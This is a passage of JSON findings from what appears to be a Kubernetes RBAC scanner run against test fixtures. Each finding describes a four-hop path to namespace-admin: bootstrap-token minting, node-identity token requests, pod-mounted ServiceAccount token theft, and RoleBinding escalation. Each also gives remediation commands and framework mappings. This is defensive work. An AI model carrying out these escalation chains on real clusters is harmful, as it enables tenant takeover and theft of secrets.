      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:nodeid-fixtures:nodeid-tokenwriter` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can reach **namespace-admin in `rbac-ns-fixtures`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate\n  4. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:nodeid-fixtures:nodeid-tokenwriter` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-secret-mint:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-mint` can reach **namespace-admin in `cutres`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cutres/cutres-detour` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cutres/cutres-detour\n  4. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-secret-mint` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-secret-mint` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cutres/cutres-detour` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create,get secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "cutres",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:privesc-fixtures:sa-secret-mint` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cutres/cutres-detour",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
